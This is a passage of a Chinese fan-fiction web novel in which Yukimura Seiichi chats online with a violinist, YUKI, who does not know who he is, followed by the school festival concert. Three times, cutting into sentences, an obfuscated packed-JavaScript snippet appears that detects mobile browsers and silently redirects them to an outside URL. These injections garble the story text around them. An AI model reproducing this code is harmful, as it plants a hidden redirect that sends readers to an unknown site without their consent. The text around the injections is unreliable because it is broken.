松雪也回复同担的问题,心里在感叹同担“她”真的好敏锐,一下子注意到了“手”的问题。 YUKI:因为要拉小提琴嘛,总要考虑手受伤后训练会不会落下。 YUKI:哎,如果我有四只手就好了 YUKI:两只手打球,两只手拉琴,哈哈 幸村想象了一下,如果有四只手的家伙成为自己的对手,恐怕他会气炸吧。 黑银河:那很吓人了。 YUKI:哈哈哈哈~ 松雪晃晃悠悠地就走到了校舍后面,再绕过墙角,就是目的地了,在这里还能看见网球场,真是不错呀~! 运气好的话,或许能看见幸村训练呢。 虽然这个可能性比较小啦,毕竟每天中午都有人在网球部这边蹲正选训练,真是令人膜拜的激情,这让松雪惭愧地觉得自己像个假粉。 快要到拐角的时候,手机再度“嗡嗡”两声。 松雪看了一眼,是同担的推荐。 黑银河:Line上面有个网球对练的小游戏,你可以试试看。 黑银河:你搜索网球对练就可以。 幸村本来也不知道这个小游戏,还是在上小班的妹妹玩手机的时候发掘出来的。 妹妹现在年纪还小,个子还没网球拍高,所以没法真正地去打网球,只能选择玩这样的线上小游戏。 幸村知道妹妹喜欢,就试了几个,最后觉得这个对练的小游戏在物理模拟上做得相对较好,就推荐给了妹妹。 既然YUKI也需要,他也并不介意多推荐一个人。 松雪收到推荐之后,立刻切回Line去搜索,只是搜索出来之后,竟然出来三四个叫做网球对练的小游戏——正常会有这么多吗?果然这个世界就是一个巨大的网球脑吧。 松雪截图下来过去问同担。 YUKI:姐妹,是哪一个呀? YUKI:[图片] 幸村打开她发来的图。 黑银河:都不是。 YUKI:…………这也有盗版吗? 两人对着屏幕都沉默了一会儿。 松雪叹了口气,先转弯从墙角过去。 而幸村正好听见了声音,他目光扫向了墙角处。 两人同时抬眼—— 幸村先看向空荡荡的墙角,皱了皱眉,可能是风声吧,他还以为是脚步。 而松雪看着空荡荡的榕树下,又眺望人山人海的网球场方向,自然而然放下琴盒,打算先拉一会儿琴再休息。 幸村这边,他也看了一眼网球场的方向。 中午绕着这栋旧教学楼找午休地点的时候,其实另外一边更好一些,毕竟那边的榕树更茂密,但缺点是那边的人太多了,看不见网球部的具体训练情况。 或许是因为那边是正选训练场地吧?所以围观的人才会这么多。 他知道立海大附中的网球部一直很受欢迎。 所以幸村绕了一圈,来到了旧教学楼的这一边,虽然树叶没那么茂密,不能全部挡住日光,但胜在能看见普通部员训练的身影。 身为部长,关心的对象自然不能只有正选。 见并没有人来打扰他午休,于是幸村将目光重新放回手机上。 黑银河:我加你Line吧 黑银河:单独发给你 松雪刚刚调好琴头,拿出了琴弓,就看见了同担发来的消息。 松雪先是一愣,随后激动:“啊!我要有真正的朋友了吗?!“ 幸村那边很快就收到了YUKI发来的账号信息。 他修长的食指摁在屏幕上,复制了那串字符,返回到Line,搜索好友并申请添加。 YUKI的头像是一片雪花,ID名字也是YUKI……? 幸村眨了眨眼,感觉有什么线索稍纵即逝,但没来得及抓住。 不过他没能继续深思,因为YUKI加好友的速度就像一年前在小蓝书上关注他的速度一样快。 YUKI:啊啊啊啊姐妹! YUKI:好开心!居然能加上好友! YUKI:哈哈哈哈哈~~~ 幸村看着不断冒出来的消息,好像看见了一只快乐的小狗在他的腿上蹦跶。 甩开脑中莫名其妙的联想,幸村把自己收藏的小游戏网球对练转发给了YUKI,他动作很简洁,没有说什么多余的话。 但是松雪看着对话框里利落的消息,恍惚有种重回小蓝书的感觉。 回来了,一切都回来了。 她的人机同担,嗖的一下就对味了。 YUKI:谢谢姐妹 YUKI:(爱你~) 闪闪发亮的“爱你”动画文字在循环,幸村的瞳仁映着这段动画,半晌,默默息屏关掉了手机。 还有点时间,可以抓紧午休。 幸村的睡眠质量不错,毕竟快速进入休息状态,也是运动员必须要有的特质。 他闭上眼睛假寐,隐隐约约,似乎听见了小提琴的声音,细腻的琴音宛若精灵低语,拨弄树梢新发的嫩叶,但一切都很轻盈,没有惊动他的浅眠,反倒悠悠扬扬地送他进入更沉的梦乡。 …… 在练琴之余,松雪最近沉迷上了同担发来的小游戏。 “网球对练”这个Line内置小游戏感觉非常上头,在松雪一路从青铜排位打上荣耀之后,似乎对赛博网球摸到了一些窍门。 她身边没有其他了解网球的人,就干脆和同担去讨论了。 YUKI:我看幸村的球,虽然每次发球的动作没什么差别,但球路都很奇怪。 YUKI:[视频] YUKI:[视频] YUKI:姐妹你看,这两个球过网后的弹跳方向,一个是朝对手的身后,一个是朝对手的身前,这是怎么做到的? 幸村是训练完之后才看见了YUKI的消息,他对于YUKI叫自己“姐妹”这件事已经接受良好了,或许是因为始终没有告诉YUKI自己的称呼,所以才导致对方误以为他是女性。 但幸村Line的性别是男…… 幸村也没多想,现在也有这样的,虽然是男性,但喜欢在Line上挂着女性的性别,反之想必也不少。 对于YUKI在网球上的小问题,幸村依旧耐心地予以回复。 YMSI:发球时的动作、球拍、球线、线床的松紧、球本身,稍有差别都有可能会影响到球落地时的弹跳方向。 松雪也是在练琴结束之后,看见了同担的回复。 YUKI:完全听不懂呢! YUKI:[开朗.jpg] YUKI:但是我又看了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496733|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,我发现幸村击球时,第二个视频里,球在拍上的停滞时间比较长。 幸村回家时才看见了她的回复。 看来YUKI还是比较敏锐的,他的确通过这种方式在第二个球上加了更大的旋转。 但没等幸村夸奖一下她,对方就发来了下一条消息。 YUKI:话说同担为什么Line的名字是YMSI? YUKI:是幸(Yuki)村(Mura)精(Sei)市(ichi)的意思吗? 幸村精市挑眉,既然能发现这一点,难道这个YUKI已经认出了他就是幸村精市本人? YMSI:是的。 幸村有些好奇对方的反应,于是大方承认了。 还是河堤上结束部活回家的路,丸井文太捕捉到了最前面的部长表情的变化,马上大声道:“有没有人看见!部长刚刚对着手机笑了!哦豁——难道是恋爱?” 丸井文太不知死活地撺掇着仁王雅治还原:“仁王,快点cos一下老大刚才的表情!” 仁王雅治的胆量不在丸井之下,当下冷笑一声,不知从哪里掏出了和幸村的发型极其相似的假发,准备往头上戴。 柳生看着他作死的行为,默默向旁边退了半步。 幸村精市神色不变,只是笑盈盈地回头看了一眼。 旁边的真田副部长向下拉了拉鸭舌帽,低声道:“太懈怠了,明天你们两个多做三百次挥拍。” 柳:“记下了。” 丸井和仁王:“……” 马上就笑不出来了。 “部长真小气啊!”仁王甚至还敢大声作死。 真田:“仁王!再加三百次!” 一片打闹声中,柳看见了与他们对向而行的人,是面色苍白的海带头。 “那个是今年网球部的新人,”柳说道,“这孩子的天赋也很不错,正好三年级的学长准备退部了,幸村,我们可以培养一下,或许这孩子能接过单打的任务。” 幸村看了眼那个背着网球拍闷头朝前走的海带头。 中午午休的时候,他也注意到了,经过上百次的挥拍练习后,只有这孩子的挥拍姿势没有变形。 “我记得,他叫切原赤也。”幸村说道,“莲二,让弦一郎去教他吧。” 真田有些不解:“我?” “嗯,”幸村对着恨不得跳河里游过去的切原赤也扬了扬下巴,说,“那孩子很怕你,没看出来吗?” 切原赤也当然害怕真田,整个网球部有谁不怕副部长? 但是在网球部一行人的视角中,他害怕得过于明显,一看见真田走在最前面,切原就已经在很远的地方开始装死了。 真田:“……” 他不知道自己有什么可怕的。 简单的打闹后,幸村才想起来,手机上还有YUKI的回复没有看。 他低下头。 YUKI:哇塞,同担,你真是幸村的铁粉啊! YUKI:说不定你已经认识幸村很久了吧? YUKI:真是可惜,进入国中前,我还完全没有了解过网球相关的东西。 YUKI:啊,这么快休息时间就到了,那我去练习了,回聊呀。 练习?幸村想,练习小提琴么? 而在队伍后面,丸井文太看着低气压的真田过去抓那颗海带头,忍不住放声大笑。 桑原像是想起来了什么,转头问他:“文太,我记得,之前好像是一个背着小提琴的人走在我们对面来着,但最近都没看见过她,嘶,她叫什么来着?” 丸井文太提起几分精神:“叫四野松雪,是交响乐社团的小提琴首席,啧,不要这么容易就忘记了呀。” “至于最近没看见的原因——”丸井摊手,“下周四开始,就是学园祭了,这可是文化社团的专场,而且交响乐社在开幕式上有演出,有可能她还在训练吧。” 柳这回终于听见他们的聊天内容。 “立海大附中的学园祭吗……”柳想了想,“时间倒是差不多,我们小组赛最后一场比赛是在周三下午结束,周四可以放个假,大家去逛逛学园祭吧。” 柳看向幸村:“部长,你看可以吗?” 幸村还没表态,已经把海带头切原赤也抓过来的真田就说:“正选的晨练不能停,其他的可以暂停一天,对了——切原,从明天起,你和正选一起训练。” 海带头憋屈又害怕,根本不敢违抗真田的铁拳:“好、好的,副部长。” 幸村已经把手机收起来了,笑着说:“那就这样确定了,那么,小组赛要拿个好成绩哦。” “明白,部长!” 正选们嘹亮地向神之子承诺。 5. 险些错过今天 因为要准备学园祭上的表演,所以松雪实质上只看了一场立海大的比赛。 不过,有很多人会拍下来立海大的比赛上传到小蓝书上,松雪还能在屏幕中看到几球。 只是不管是谁打球,在松雪眼里似乎都不如那天她看见的幸村精市,那一球实在太利落了,而且小小的屏幕根本没办法框住如此大的球场。 在屏幕里看比赛和在现场看比赛,简直不能相提并论。 部活休息时间,松雪有些疲惫了,正抱着小提琴,低头在小蓝书上看比赛。 面前忽然停了一双鞋。 松雪缓缓抬头。 来的人是指导老师,也是交响乐社团的指挥—— 指挥和抱着琴的四野松雪对视,虽然四野松雪坐着、他站着,虽然四野松雪是学生、他是老师,但他还是有点慌。 毕竟这可是四野松雪,她妈妈是国内外有名的钢琴家,爸爸更是完美地指挥过多次跨国的乐团演出。 这样的四野松雪竟然没有去上音乐学院,而是来到立海大附中的交响乐社团,某种意义上可以用“纡尊降贵”这个词了。 四野拢着怀里的小提琴,稍稍坐直了身体:“怎么了,指挥老师?” 她声音清冷又疏离,更让指挥紧张了。 四野平常不爱说话,但是个琴痴,不止一个人看到,四野即便是在午休的时候也要找个地方练琴,更不用提周末她还要去东京上课,周间里,更是社团中来的最早、走的最晚的人。 “那个,四野同学……” 指导老师问道:“冒昧问一句,这次学园祭,你的父母会过来吗?” 松雪看着老师,稍微反应了一会儿,才意识到指导老师在介意的是什么。 “他们说会过来。”松雪老实地说道。 指挥马上背脊都挺直了。 不只是指挥,其他人也在偷偷听着这边交谈的声音。闻言都是如临大敌。 能够在交响乐社团中坚持到二年级的,对音乐都有自己的热爱。 可、可现在四野首席就这么平淡地告诉大家,现在他们不是要做这些过家家的表演了,而是有真正享誉国际的钢琴家和指挥家来听他们的演出—— 不行,想想就要窒息了! 偏偏,他们家的小提琴首席还在追着他们杀。 四野首席拎着琴站起来,冷冷地说:“大家不用紧张,他们不会来说什么的,只管按照我们正常的水准去演出就行。” 众人纷纷冷汗直冒,这是什么意思?已经放弃挣扎了吗? 指挥在身后乐团团长的眼神鼓励下,说道:“要不我们把乐团演出改成小提琴独奏吧?” 众人眼中,四野首席不悦地皱眉:“为什么?” 指挥硬着头皮说:“这个,要在四野指挥家和四野钢琴家面前演奏,压力还是太大了。” 松雪了然,于是试图安慰他们:“没关系,我们就按照寻常的方式表演就行,他们两个很毒舌,不管表演成什么样都会被说的。” 她想了想,补充道:“既然不管演奏得如何都会被批评,那就代表什么演出都能上的了台面。” 众人:“……” 四野首席真是幽默啊。 总之,指挥的金算盘打得很响,但最终被四野首席回绝了,既然如此,众人就必须得全力以赴了,去年参加全国大赛都没这么紧张过! 社团众人的努力映射到实际的情况下,就是松雪几乎没有休息的时间了。 幸村这边的体感也很明显,这几天YUKI在小蓝书上给他发的消息越来越少了。 周三下午,立海大以神奈川地区小组第一的成绩出线,网球部的正选们说要去找个烧鸟店庆祝一下。 幸村坐在最里面,下意识拿出了手机,才发现小蓝书上的消息空空如也。 嗯?今天的小红点呢? 幸村这样想着。 修长的食指戳向YUKI的名字,她后面还有一朵蔫蔫的火花,停在387,没有跳到388。 这几天在比赛,幸村没有注意,现在点进对话框往上看,才发现YUKI这几天转发过来的消息都很少。 昨天是三条,前天是一条,今天—— 竟然是零条消息。 幸村心底有种异样的违和感。 他下意识点开了Line,但Line上的消息更是寥寥数语,还停留在上次YUKI说的那句“那我去练习了,回聊呀”。 说好回聊,后面却再也没有回聊过。 什么情况? 养成了习惯是可怕的。 尤其对于一名运动员来说,习惯是非常非常可怕的。 在球场上,肢体的习惯能够让运动员接到不可能的奇迹一球。 在球场外,训练的习惯是运动员持之以恒的最大助力。 习惯是不能更改的,更改习惯,意味着失败的开端。 幸村沉默半晌,将胸中莫名潮湿冰凉的心情,归结于习惯被打破的不适应。 他看着Line的对话框半晌,在里面打字:上号续火花。 但是还没按下发送键,又忍不住去想,何必呢? 让YUKI自然而然和他断联,这不是一开始自己的目的吗,这样就不用辜负妹妹的托付,同样也不用承担这额外的负担。 不,说到底YUKI其实并非负担,幸村在过去的377天中,大多数情况下都是敷衍且搪塞的,YUKI没有对此表达过任何不满。 这么想着,莫名其妙的亏欠感顺着那种雨季独有的潮湿意味爬上心头。 幸村还未来得及整理自己的心情,就被柳生和仁王打断。 他俩好像问了个什么问题,但幸村心不在焉地笑了笑,没有回答。 柳生和仁王对视了一眼,默契地没有再重复问题。 但仁王凑到柳生耳朵旁边嘀嘀咕咕:“部长怎么回事,好像在发呆?” 柳生喝了口面前的果汁,看不出是开玩笑还是认真发言,他低声说:“看着像失恋了。” 仁王:“啊????????” 你知道自己在说什么吗搭档! 庆祝活动结束后,幸村精市回到了家。 幸村想着,如果妹妹这时候想和YUKI聊天,那一切都自然而然了。 但是今天似乎有点奇怪,妈妈先陪着妹妹睡觉了,只有爸爸在客厅看电视。 那种熟悉的不适感再次冒出来了。 爸爸看他一眼,有些惊讶:“怎么了,精市?你脸色看上去不好,难道是比赛没有打好?” 幸村精市不着痕迹地扫了眼桌上的时钟,现在时间是晚上22:49,今天就快要结束了。 “结果很好,”幸村笑了笑,“我们是第一。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496734|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“恭喜,”爸爸鼓励道,“年轻的时候,就要多做些不让自己后悔的事情,这很重要哦。好了,快去休息吧,我记得明天是你们学校的学园祭?” “对,”幸村背着球包上楼,“但明天社团还有晨练。” “真是努力的小伙子们啊……” 幸村走到楼梯拐角,忽然又被爸爸叫住了。 “对了,精市。” 幸村停下脚步,站在楼梯上,才看见爸爸头顶有些稀疏,但这也不影响他是个好父亲。 爸爸笑着说:“妈妈已经给你约好体检的时间了,下个月10号,记得去神奈川医院看看哦。” “好,谢谢妈妈。”幸村回过头应了一声。 周三晚上的23:53,四野松雪才精疲力竭地背着小提琴回家。 爸爸妈妈不在,玄关门口有留下的字条—— 松雪拿起字条。 “宝贝女儿,为了明天去看你的演出,爸爸妈妈回一趟东京,去带一身合适的衣服回来,不用等我们,你早点休息。 爱你的爸爸。” 松雪看着这张字条,忍不住叹气:“就是你们这么认真,才害得我这周都完全没有休息的时间啊——” 哀嚎声一顿,因为松雪看见了头顶的圆钟显示的时间。 “糟了。”松雪下意识道,她赶紧拿出了手机,滑开小蓝书。 黑银河姐妹当然不会主动给她发消息,但是今天还有7分钟——松雪又抬头看了一眼——好吧,现在是六分钟,今天就结束了,难道好不容易维持377天的火花要断了吗? 松雪咬着下唇,有点懊悔,今天竟然完全没想到续火花的事情。 另一边的幸村精市洗了澡出来,原本以为会直接来到周四了,可谁能想到现在仍然是周三呢。 不过,也只剩五分钟了。 幸村精市看着手机,有些纠结。 松雪心想,怎么办,现在就算给同担发消息,“她”也一定休息了吧,肯定来不及续火花了。 都是她的错,今天忘记了这件事——练琴的时候下意识就摒弃其他念头了。 但是幸村看着Line,输入框里还有他刚才在聚餐时写好的内容,但始终没能发出去。 他想了想,这么晚了,或许YUKI已经休息了吧。 算了,不过就是断了377天的火花…… 幸村想着,把对话框中打好的字一个个删掉。 可正准备息屏睡觉时,小蓝书的消息提醒突然弹了过来。 YUKI:111 YUKI:啊啊啊啊姐妹还在吗 YUKI:今天练琴太晚了,才刚刚到家,还来不来得及续火花啊 YUKI:QAQ 幸村看到消息一个接一个地来,那些莫名其妙的情绪就这样轻易地被一扫而空。 他切到小蓝书去。 松雪坐在玄关,还在懊恼地道歉。 她输入中:没关系,明天开始重新续火花吧,我们还可以再续377天! 但是这句话还没发出去,就收到了那边发过来的消息。 黑银河:111 松雪的手指顿住,眼睛睁圆。 两人对话框顶上的小火花忽然精神抖擞地转了个圈,猛然挑旺。 378天。 新的数字,顺利地出现在了对话框中。 6. 认出你的琴音 次日,学园祭终于开始了。 松雪在全身镜前整理了校服的领子,然后拎着琴出门。 “我出门啦——” 松雪回头对着爸妈卧室的方向喊了一句。 爸爸妈妈昨天回来的很晚,妈妈在给她准备了早饭后,就打着哈欠睡回笼觉了,只说下午会和爸爸过来看她的演出。 其实松雪恨不得让他俩别来了。 但是这话又说不出口,毕竟部门的大家已经为此努力这么久…… 日光照到脸上,松雪长舒一口气,把演出相关的事情抛之脑后。 算了,全力而为吧,就像每次举起琴弓时那样—— 她低头,拿出手机在小蓝书上给黑银河发了问好。 YUKI:早呀姐妹! 小蓝书上,同担“她”回复得很快。 黑银河:早上好。 昨天险些错过的378天,在今天一大早就变成了379,这让松雪心满意足。 她切换回Line,聊天记录停在了凌晨。 昨夜,同担不仅对松雪忘记发消息的事情只字不提,甚至还表示之前那么多天一直习惯了由松雪主动发消息,也有“她”自己的过错。 看得松雪哈特软软。 同担真好!喜欢幸村精市的能是什么坏人呢! 明明就是松雪一直拉着“她”聊来聊去的,她也发现了同担其实很长一段时间并不想和她聊天来着,但松雪又没有别的朋友,干脆装作不知道,一直给“她”发消息,但对方竟然真的会回复。 一直到现在——加了Line,两人还会偶尔闲聊,同担也不那么人机了。 苦尽甘来啊松雪酱! 松雪很高兴,同时暗暗下定决心,以后在Line上也要做同担的好朋友。 一定要像个女鬼一样缠住好人同担啊。 松雪不体面地想。 幸村还不知道自己被发了好人卡,只是小蓝书那边的消息刚回复掉,Line的消息也冒了出来。 YUKI:嘿嘿,这边也早上好呀姐妹~ YMSI:早。 幸村毫无负担地回复了她的消息。 昨天的那些纠结荡然无存,幸村已经完全实现了逻辑自洽。 真奇怪,昨天他为什么如此在意是否要主动和YUKI联系呢? 幸村扪心自问,如果YUKI是身边的任何一个朋友,其实昨天在庆功宴上,他就该给她发消息了。 他如此举棋不定,或许是因为知道了YUKI喜欢的人是幸村精市,所以才会不自觉地端起了架子。 嗯,一定是这个原因。 幸村精市就这样一股脑地把那些问题推给了自己本来就不存在的“偶像包袱”,好像这样就能遮掩过去其他隐藏起来的情绪。 立海大附中,学园祭的首日,学校热闹得不像话。 已经做完晨练的网球部正选们,此刻正一起赶往学校。 丸井兴奋地邀请桑原:“下午一点交响乐社团在学校礼堂演出,你要不要一起去,我抢到票了哦。” 总听丸井夸奖那个首席小提琴,桑原早已慕名许久,当然马上就答应了。 “仁王你呢?”丸井蹦蹦跳跳地插在这对搭档的中间,左右都问问,“柳生你呢?” 仁王:“下午一点的话,我就没办法去哦,我们班有猫耳女仆咖啡厅的招待,我必须得到场呢。” 丸井疑惑看着仁王:“猫耳女仆咖啡厅,你仁王雅治过去干什么?你是猫耳,还是咖啡?总不能是女仆吧……” 仁王阳光地笑了:“答对了,在下正是女仆!” 丸井:“……” 旁边的柳生比吕士推了推眼镜:“我是猫耳。” 丸井:“…………” 他看这两个人是疯了吧! 而且柳生这家伙看上去可是个正经人,怎么也跟着仁王一起张口就来,什么“我是猫耳”,正常人怎么做猫耳啊! 丸井离这两个不正常的人远了点,又不抱希望地看向切原:“小海带,那你去吗?我这边还多了两张票呢。” 切原不满道:“学长,我不叫做小海带。另外,我也去不了,因为真田前辈说要带我去打几球……” 孩子越说越沮丧,看上去很不愿意:“可恶,要是我能去就好了,我真的热爱交响乐!” 丸井无语,为了逃离真田,连热爱交响乐这种话都说得出来。 最后,他把目光看向了幸村和柳。 幸村在丸井开口之前就笑着婉拒道:“文太,我不去了,我要去观摩弦一郎如何教赤也打球。” ——然后再跟真田一起对切原赤也混合双打是吧? 丸井怜悯地看向小海带。 “等等。” 一直沉默的柳突然开口。 “幸村,你还是去看交响乐吧。” 他出言制止幸村前往球场。 走在前面的幸村顿了顿,看向柳,微微偏头:“所以,你还是认为我应该多休息?” 柳沉默着点头。 幸村无奈,又问:“而且依旧不能告诉我原因?” 柳这回顿了顿,但还是点头了。 经过了小组赛的数据,虽然大多数时候,幸村都只是发球、和第一次回击就得分,但柳还是确认了,部长的动作的确在变慢。 即便变慢得并不多,但趋势如此明显,柳无法说服自己这是一种正常的波动。 在他看来,幸村依然是要休息。 幸村最近的训练量很少,他觉得柳应该是发现了什么,但是他只是一味地让自己减轻训练量,这对他而言并不容易。 让幸村减量,比让幸村加量要难多了。 他已经在那个榕树下面严格执行午休了一个礼拜了,每天中午,他就看着网球场的方向,听着击球的声音午睡。 “但是莲二,一直休息,也不是健康的训练方式,”幸村说道,“我想你可以理解我的意思。” 尽管学园祭喧嚷热闹的声音绕着柳的周围,但是幸村的质问更让他关注。 柳睁开眼,看向了幸村:“我明白。只是,学园祭这几天,部长你还是休息吧,学园祭结束后,我会向你汇报我这边的意见。” 幸村和他对视着,最后忽然笑了。 “怎么突然这么认真了。”幸村调笑了一句。 “那好吧。” 但他没有细究,拥有深紫色柔软中长发的幸村,或许心地比发丝更柔软也说不定,他依旧选择听从无法解释原因的队友的建议。 幸村对文太说道:“柳也和我一起,我们四个去听文太最爱的交响乐吧。” 丸井离他们有一段距离,所以没听到他们的对话,只是高兴多出来的两张票终于有了去处。 丸井开朗道:“好呀好呀,不过部长,我最爱的还是网球啦……” 吃过午饭后,幸村四人就在学校礼堂会合了。 礼堂里灯光暗下来的时候,幸村四人才找到位置坐下。 丸井小声嘀咕了一句:“好多人”。 确实如此——观众席几乎坐满了,除了学生和老师,最前排还空着一排座位,铺了深蓝色的绒布,像是给什么人预留的。 幸村落座后不自觉地多看了两眼,就见校长微微侧身,陪着两位客人从侧门走了进来。 那两人衣着考究,气质出众,校长一边引路一边低声说着什么,态度十分恭敬似的。 丸井用胳膊肘捅了捅桑原,小声说:“你看那两个人,是不是有点眼熟?” 桑原茫然地摇头。 柳见多识广一些,低声道:“那个男人应该是个音乐家……我在音乐杂志的封面上见过。” 丸井文太:“音乐杂志?莲二,难道你才是喜欢交响乐的那个?” 柳:“……” 幸村没有接话,只是目光在那两位客人的背影上停了一瞬,就平静地看向拉着厚重红色幕帘的舞台。 在众人落座后,灯光逐渐暗了下来。 主持人的声音从侧边传来,介绍道:“下面有请立海大附中交响乐社团进行演奏,表演曲目:《春之声圆舞曲》。” 幕帘拉开。 舞台上的灯光缓缓亮起,指挥走上台前,向观众鞠了一躬。 礼堂里安静下来,所有人都屏住了呼吸。 紧接着,第一声弦音轻轻响起,像是一阵风从很远的地方吹过来,带着泥土和青草的气味。 幸村对交响乐并不算特别了解,只是勉强分得出声部和乐器的程度。 弦乐之后,管乐团铺出柔和的和声底色,长笛在低音区跳跃着短促的音符。 整个乐团的声响交织在一起,和谐得像春天本身——没有哪个声部突兀地冒出来。 音乐和体育一样,都有让人沉醉的魔力,哪怕对此完全不了解,也依旧能够享受这场盛宴。 然后,小提琴石破天惊地进来了。 丸井低声道:“来了!” 小提琴响起的一瞬间,像一道光从云层缝隙里漏下来,自然而然地铺满了整片大地。 幸村他们坐的比较远,但他还是精准地在乐团之中找到了坐在指挥身边的小提琴手。 或许是直觉,他认为是就那把琴发出的声音。 明亮的聚光灯下,松雪的琴弓轻巧地搭在弦上,右手手腕几乎没有发力似的松着,只是微微调整着角度,就让琴弓在弦上滑出了和谐的韵律。 她的身体随着节奏轻轻地晃动,像水面上的叶子一样,被音乐本身的流水推着、托着,自然而然地摇摆。 小提琴的声音就这样在礼堂里流转,明亮而不刺耳,清澈得像山涧里刚刚化开的雪水。 众人屏住了呼吸。 丸井说的没错,只要听了就知道,小提琴的确太突出了。 但幸村听着听着,忽然觉得这个声音有些熟悉。 小提琴的声音,那种流淌在午后的、像蜜糖一样缓慢漫延的旋律,他一定不是在礼堂里第一次听见。 但究竟是在哪里,他一时想不起来。 直到最后一个音符落下,礼堂里沉默了一秒,随后掌声铺天盖地地涌上来。 指挥带着乐团成员起身谢幕,主持人从侧台走到台前,满脸笑容地开始介绍演出人员。 却在这时,幸村感到口袋里的手机震了一下。 他拿出手机,看到Line上妈妈发来的消息。 妈妈:精市,我和宁梦到学校了哦。 幸村收起手机,微微侧身对柳说道:“我出去一下。” 柳点点头,目光还停留在台上指挥与乐团成员互相道贺的场景上。 幸村则是毫不留恋地起身离开了座位。 他沿着座位边缘往礼堂后方走去,脚步很轻,没有惊动任何人。 台上,主持人正好介绍道:“今天的演出能够如此成功,离不开我们交响乐社团每一位成员的付出,下面请允许我向大家介绍——” 掌声还未完全平息,主持人带着笑意看向最靠近指挥的位置。 “——小提琴首席,二年七班的四野松雪同学。” 四野首席握着她的琴,在掌声中向前迈了一步,弯腰致谢。 几秒后,她抬起头来,目光下意识地扫过观众席。 而礼堂的门,在她抬起头的那一刻,恰好无声地合上了。 松雪的视线从后排回到前排,她的父母为她们鼓掌,笑容温和,但只有松雪直到他俩有多么毒舌。 但是没关系,乐团的大家会得到表扬,毒舌的话等她回家后独自承担就可以了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496735|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 松雪的目光在父母那里停了一瞬,然后随着主持人的下一句介绍词,礼貌地转向了身后的乐团成员,继续鼓掌致谢。 学园祭第一天,就这样热热闹闹的落下了帷幕。 宁梦回来后,由于今天表现得很棒,所以获得了妈妈的允许,可以玩半小时的手机。 宁梦趴在哥哥的床上翻看着小蓝书,敏锐地发现了YUKI最近发的消息变少了。 “哥哥,”宁梦担忧地问,“YUKI是不是遇到了什么事情,怎么最近发消息这么少?” 幸村在电脑上查看柳发来的一场比赛,是冰帝参加的小组赛录像。 “嗯,她说要练小提琴。”幸村回答。 “小提琴!”宁梦睁大眼,“好厉害!YUKI居然会小提琴!” 身边的小朋友们还没开始学乐器,唯一一个会钢琴乐器的直树酱在班里特别臭屁,宁梦一边讨厌直树酱臭屁的样子,一边又忍不住向往会乐器的人。 “不对不对,”宁梦兴奋过后,马上意识到了一个问题,“哥哥,你是怎么知道的?” 幸村愣了愣,才想起来妹妹还不知道自己和YUKI已经加上了Line的联系方式。 宁梦穷追不舍地问:“哥哥为什么不回答宁梦的问题?是哥哥和YUKI有了秘密吗?快告诉宁梦呀——” 可爱的妹妹正在认认真真拉着他的手撒娇,幸村只好全盘交代:“YUKI说她对网球很感兴趣,但是没办法打网球,因为要保护手……” 幸村认真地对宁梦解释了一番,包括YUKI是如何对网球感兴趣,却因为小提琴的缘故必须要保护好手,以及双方如何加上了Line。 宁梦眨眨眼:“保护手?” 幸村脑中闪回了一双纤长漂亮的手挂在网球场的绿色网格上,他皱了皱眉,但实在想不到是在哪里看到的这双手。 幸村:“是的,要拉小提琴的话,的确需要保护好手指。” 宁梦若有所思,已经开始打开Line,翻起了YUKI的时间轴。 幸村虽然和YUKI已经加了一周的好友,但他从来都没有去看过她的时间轴,可能下意识以为YUKI和他一样,是个不爱分享生活的人吧。 但宁梦却发现了很多有趣的东西。 在YUKI的时间轴里,她会分享练琴的生活,也会分享表演的照片,偶尔会分享她演奏的曲目,一切都和小提琴有关。 但幸村还在回忆着曾经看到的那一双漂亮的手。 幸村也有一双漂亮的手,但他的掌心有厚厚的茧,这是常年紧握球拍会带来的必然结果,此刻他正用这双手托住下巴,看到了宁梦送过来的手机屏幕。 屏幕上是一个聚光灯下的剧院舞台,中间的小提琴手站的笔直,背后是黑色的三角钢琴,而她穿着紫色的缎面礼裙,头发被一丝不苟地盘了起来。 她肩上架着一把小提琴,手臂扬起,琴弓直指头顶明亮的灯。 虽然没能听到琴音,但她看上去十分专注的样子。 宁梦的小肉手正好滑到下一条时间轴,这是一个演出视频,看衣服,正好是刚才那张照片上的演出。 悠扬的乐曲从他的手机中传来—— YUKI将琴轻轻托上左肩,下巴温柔地搁在腮托上,整个人仿佛和琴融成了一体。 等到琴弓轻轻搭上琴弦,第一声叹息般的音符悄然淌出。 小提琴的独奏如同融化的蜜糖,沿着耳廓缓缓流进梦乡。 幸村眨了眨眼。 想到了今天下午听到的演出。 是一样的感觉。 这个乐曲他很熟悉,好像在哪听过。 他下意识点了点屏幕,看见YUKI为这段视频搭配的文字。 她写得很简略—— YUKI: 